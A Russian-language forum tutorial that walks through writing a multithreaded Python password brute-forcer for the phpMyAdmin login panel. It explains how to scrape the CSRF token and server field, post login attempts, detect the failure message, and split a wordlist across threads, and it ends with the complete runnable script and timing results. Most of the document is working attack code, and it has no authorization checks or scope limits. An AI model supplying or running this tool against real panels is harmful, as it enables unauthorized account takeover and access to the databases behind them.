Вступление
Доброго времени суток, коллеги, сегодня мы с вами будем писать небольшую программу для подбора паролей к панели авторизации на замечательном языке Python3.
Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.
Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.
Что же такое брутфорс атака? Как говорит нам один известный поисковик - брутфорсом называется метод взлома учетных записей путем перебора паролей к тому моменту, когда не кончится словарь или ключевое слово не будет признано системой, как истинное.
Термин образован от англоязычного словосочетания «brute force», означающего в переводе «грубая сила». Суть подхода заключается в последовательном автоматизированном переборе всех возможных комбинаций символов с целью рано или поздно найти правильную.
Алгоритм действий вкратце получается таким: мы отправлять какие-то данные на сервер, получаем ответ от сервера, проверяем устраивает-ли нас этот ответ и если нет, модифицируем данные и повторно отправляем уже изменённые, повторяем до тех пор пока ответ нас не устроит.
Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.
Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.
Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр "set_session" и "token" меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.
Начинаем писать код
Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.
Нам понадобятся следующие библиотеки:
Код:
beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9
Код:
pip install requests && pip install bs4 && pip install lxml
Обратите внимание что некоторые библиотеки поддерживаются только в Python3
Для чего они нужны и как мы их будем использовать вы увидите далее.
Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
- Нужно получить "set_session" и еще некоторые данные, а именно "token" и "server".
- Механизм попытки авторизации.
- Получить аргументы командной строки (параметры такие как "имя пользователя", "url" и "лист паролей") которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
- Реализовать сам алгоритм перебора паролей.
- Реализуем многопоточность, да GIL, но мы же учимся !
- TargetData - для получение данных от панели PhpMyAdmin.
- PhpMyAdminAuthorization - с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
- UserArgument - который будет работать с пользовательскими данными.
- BruteForceAttack - как не удивительно, класс который будет реализовывать методы для брутфорса.
- Threads - для методов реализации многопоточности.
Python:
import requests
import threading
import argparse
import time # тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4
Далее немного библиотеки "requests" в которой говорится, что объект "Session" позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:
Python:
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
Это может быть дублирующий себя код, но разделить на два метода я решил потому что:
- Они возвращают разные данные.
- Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
- Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.
Python:
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
Python:
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием "php_my_admin_url":
Python:
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
Создаем список с параметрами, сервер и токен берем из методов класса "TargetData" от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:
Python:
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
Python:
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Python:
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:
Python:
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
Python:
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
Следующий метод "check_valid_target_url()" - проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:
Python:
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
Python:
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
Python:
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
Теперь добавим нашему классу "UserArgument" еще несколько методов, все они возвращают нам те или иные значения:
Python:
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Python:
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Объявляем класс "BruteForceAttack" и в конструктор кладем значение которые нам вернут методы из "UserArgument":
Python:
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из "self.passwords_list[от - до]".
В цикле создаем экземпляр класса "PhpMyAdminAuthorization" с параметрами, которые мы получили из класса "UserArgument" и если его метод "get_result_authorization()" вернет нам "True", то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:
Python:
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Python:
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:
Python:
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
Python:
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
Python:
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
Вот он:
Python:
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
А теперь поговорим о тех самых непонятных переменных "start_of_list" и "end_of_list" из класса "Threads".
В конструкторе класса "StartProgram" мы объявляем две переменные одна из которых является "integer" значением, которое нам возвращает метод "get_number_threads()" класса "UserArgument".
А вторая длинной значения которое возвращает его же метод "get_password_list()"
Дальше в методе "main()" класса "StartProgram" происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.
Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода "main() Threads" будет запущен с аргументами(0,10) во вторую (10,20) и т.д.
Далее в классе "Threads" будет вызван поток для объекта "brute_force_attack". Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.
Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:
Python:
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
Python:
import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
Заключение и тестирование нашей программы
Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле.
Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.
Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.
Буду ждать комментариев.
Последнее редактирование модератором: